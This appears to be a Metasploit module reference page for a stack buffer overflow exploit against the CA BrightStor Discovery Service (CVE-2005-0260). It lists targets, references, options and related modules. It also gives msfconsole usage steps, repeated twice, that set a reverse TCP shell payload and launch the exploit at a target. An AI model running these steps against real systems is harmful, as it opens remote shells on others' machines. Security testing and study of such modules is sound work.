CA BrightStor Discovery Service Stack Buffer Overflow
This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a large request is sent to UDP port 41524, triggering a stack buffer overflow.
Exploit Rank
- Average
Exploit Authors
- hdm < hdm [at] metasploit.com >
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
- CVE-2005-0260
- OSVDB-13613
- BID-12491
- http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities
Exploit Targets
- 0 - cheyprod.dll 12/12/2003 (default)
- 1 - cheyprod.dll 07/21/2004
Exploit Development
Similar Exploit Modules
- exploit/windows/brightstor/ca_arcserve_342
- exploit/windows/brightstor/discovery_tcp
- exploit/windows/brightstor/etrust_itm_alert
- exploit/windows/brightstor/hsmserver
- exploit/windows/brightstor/lgserver
- exploit/windows/brightstor/lgserver_multi
- exploit/windows/brightstor/lgserver_rxrlogin
- exploit/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter
- exploit/windows/brightstor/lgserver_rxsuselicenseini
- exploit/windows/brightstor/license_gcr
Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/brightstor/discovery_udp
msf exploit(discovery_udp) > show payloads
msf exploit(discovery_udp) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(discovery_udp) > set LHOST [MY IP ADDRESS]
msf exploit(discovery_udp) > set RHOST [TARGET IP]
msf exploit(discovery_udp) > exploit
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msf > use exploit/windows/brightstor/discovery_udp
msf exploit(discovery_udp) > show payloads
msf exploit(discovery_udp) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(discovery_udp) > set LHOST [MY IP ADDRESS]
msf exploit(discovery_udp) > set RHOST [TARGET IP]
msf exploit(discovery_udp) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 41524) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |